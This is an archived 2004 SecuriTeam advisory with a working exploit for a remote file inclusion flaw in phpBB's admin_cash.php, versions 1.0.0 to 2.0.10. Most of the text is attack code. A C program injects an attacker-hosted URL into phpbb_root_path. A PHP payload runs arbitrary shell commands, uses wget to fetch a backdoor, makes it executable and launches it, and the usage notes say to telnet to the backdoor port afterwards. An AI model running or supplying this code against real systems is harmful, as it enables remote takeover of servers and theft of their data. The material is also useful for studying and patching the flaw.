

[UNIX] phpBB admin_cash.php File Include Vulnerability (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0104.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 11/29/04

To: list@securiteam.com

Date: 29 Nov 2004 10:49:20 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

phpBB admin_cash.php File Include Vulnerability (Exploit)

SUMMARY

" <<http://www.phpbb.com/>> phpBB is a high powered, fully scalable, and highly customizable Open Source bulletin board package". A vulnerability in phpBB's admin_cash.php file allows a remote attacker to cause the program to include arbitrary PHP files and execute their content. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

* phpBB version 1.0.0 up to version 2.0.10

Exploit:

/*

exploit for phpBB 1.0.0 – 2.0.10

edit the b4b0.php file with the correct url to your backdoor and the correct filename for your backdoor upload it to a webserver.

Securiteam: [UNIX] phpBB admin_cash.php File Include Vulnerability (Exploit)

```
gcc -o b4b0-phpbb b4b0-phpbb.c
```

```
/b4b0-phpbb <url_to_system> <phpbb_dir> <url_to_b4b0.php>  
telnet <url_of_exploited_system> <port_of_back_door>
```

```
greet to b4b0
```

```
-- evilrabbi  
*/
```

```
#include <stdio.h>  
#include <string.h>  
#include <netdb.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netinet/in.h>
```

```
void help(char *program_name);
```

```
int main(int argc, char *argv[]) {
```

```
    struct sockaddr_in trg;  
    struct hostent *he;
```

```
    int sockfd, buff;  
    char buffer[1024];  
    char *request;
```

```
    if(argc != 4 ) {  
        help(argv[0]);  
        exit(0);  
    }
```

```
    he = gethostbyname(argv[1]);  
    sockfd = socket(AF_INET, SOCK_STREAM, 0);  
    request = (char *) malloc(1024);
```

```
    trg.sin_family = AF_INET;  
    trg.sin_port = htons(80);  
    trg.sin_addr = *((struct in_addr *) he->h_addr);  
    memset(&(trg.sin_zero), '\0', 8);
```

```
    connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr));
```

```
    sprintf(request,"GET
```

```
http://%s/%s/admin/admin_cash.php?setmodules=1&phpbb_root_path=http://%s?cmd=w\n",argv[1],argv[2],argv[3]);
```

```
    send(sockfd,request,strlen(request),0);
```

```
    buff=recv(sockfd, buffer, 1024-1, 0);
```

```
    buffer[buff] = '\0';
```

```
    printf("%s",buffer);
```

```
    close(sockfd);
```

```
    return 0;
```

Securiteam: [UNIX] phpBB admin_cash.php File Include Vulnerability (Exploit)

```
}  
  
void help(char *program_name) {  
  
    printf("b4b0-phpbb.c by evilrabbi for b4b0\n\n");  
    printf("%s hostname phpbb2_dir url_to_bad_php\n",program_name);  
    printf("%s www.example.com phpBB2 blah.com/b4b0.php.php\n",program_name);  
}
```

b4b0.php

b4b0 kickin ass again.....

System was exploited telnet to the port you have your backdoor set to listen on.

<?

```
if (isset($chdir)) @chdir($chdir);  
    ob_start();  
    system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");  
    system("cd /tmp; wget url_to_backdoor;chmod +x  
backdoor_name;./backdoor_name"); // EDIT THIS INFO!!!!!!!!!!!!!!  
    $output = ob_get_contents();  
    ob_end_clean();  
    if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<",  
$output));  
?>
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:jerome@athias.fr> Jerome ATHIAS.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.